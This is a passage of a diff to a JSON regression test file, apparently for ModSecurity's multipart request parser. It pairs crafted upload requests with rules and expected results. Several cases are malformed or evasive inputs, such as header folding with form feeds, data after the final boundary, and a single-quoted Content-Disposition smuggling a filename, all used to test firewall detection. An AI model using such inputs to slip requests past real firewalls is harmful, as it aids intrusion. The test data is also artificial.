"ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Type: multipart/mixed; boundary=BbC04y\r", - "\r", - "--BbC04y\r", - "Content-Disposition: file; filename=\"file1.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "... contents of file1.txt ...\r", - "--BbC04y\r", - "Content-Disposition: file; filename=\"file2.gif\r", - "Content-Type: image/jpeg\r", - "Content-Transfer-Encoding: binary\r", - "\r", - "...contents of file2.gif...\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Part missing Content-Disposition header" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (normal)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image1\"; filename=\"image1.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA1\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image2\"; filename=\"image2.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA2\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image3\"; filename=\"image3.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA3\r", - "--0000\r", - "Content-Disposition: form-data; name=\"test\"\r", - "\r", - "This is test data.\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log": "Upload file limit exceeded" - }, - "rules":[ - "SecRuleEngine On", - "SecUploadKeepFiles On", - "SecUploadDir /tmp", - "SecUploadFileLimit 2", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500161\"", - "SecRule MULTIPART_FILE_LIMIT_EXCEEDED \"!@eq 1\" \"phase:2,deny,id:500162\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500163\"", - "SecRule &FILES \"!@eq 3\" \"phase:2,deny,id:500164\"", - "SecRule &FILES_NAMES \"!@eq 3\" \"phase:2,deny,id:500165\"", - "SecRule &FILES_SIZES \"!@eq 3\" \"phase:2,deny,id:500166\"", - "SecRule FILES_SIZES:/^image/ \"@eq 0\" \"phase:2,deny,id:500167\"", - "SecRule &FILES_TMPNAMES \"!@eq 2\" \"phase:2,deny,id:500168\"" - ] +[ + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (normal)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "280", + "Content-Type": "multipart/form-data; boundary=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "Brian Rectanus\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"email\"\r\n", + "\r\n", + "brian.rectanus@breach.com\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "BINARYDATA\r\n", + "--0000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Added file part to the list: name \"image\" file name \"image.jpg\" \\(offset 258, length 10\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (final CRLF)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "276", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Adding request argument \\(BODY\\): name \"a\", value \"1\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (no final CRLF)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "274", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Adding request argument \\(BODY\\): name \"a\", value \"1\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary contains \"boundary\")", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "276", + "Content-Type": "multipart/form-data; boundary=------------------------------------------------boundary", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--------------------------------------------------boundary\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "--------------------------------------------------boundary\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "--------------------------------------------------boundary--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Adding request argument \\(BODY\\): name \"a\", value \"1\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary contains \"bOuNdArY\")", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "177", + "Content-Type": "multipart/form-data; boundary=--------0xKhTmLbOuNdArY", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------0xKhTmLbOuNdArY\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "----------0xKhTmLbOuNdArY\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "----------0xKhTmLbOuNdArY--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Adding request argument \\(BODY\\): name \"a\", value \"1\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (data contains \"--\")", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "282", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "--test\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "--\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Adding request argument \\(BODY\\): name \"a\", value \"--test\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser error (no final boundary)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "214", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Final boundary missing", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser error (no disposition)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "192", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Part missing Content-Disposition header", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser error (bad disposition)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "274", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid Content-Disposition header", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser error (no disposition name)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "258", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Content-Disposition header missing name field", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser error (no disposition name)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "339", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + ":\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "nvalid part header \\(header name missing\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (part header folding - space)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "283", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + " name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + " name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "name: a.*variable: 1.*", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", + "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", + "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (part header folding - tab)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "300", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + " name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + " name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "name: a.*variable: 1.*", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", + "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", + "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (part header folding - mixed)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "292", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + " name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "name: a.*variable: 1.*", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", + "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", + "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (part header folding - invalid)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "278", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + "\fname=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "name: a.*variable: 1.*", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", + "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", + "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500076\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (part header folding - mixed invalid)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "279", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data;\r\n", + "\f\tname=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "name: a.*variable: 1.*", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", + "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", + "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500076\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (data after final boundary)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "338", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646--\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "name: a.*variable: 1.*", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_DATA_AFTER \"@eq 1\" \"phase:2,deny,status:403,id:500074\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (C-D uses single quotes)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "300", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "-----------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=';filename=\"dummy';name=b;\"\r\n", + "\r\n", + "2\r\n", + "-----------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Duplicate Content-Disposition name", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_INVALID_QUOTING 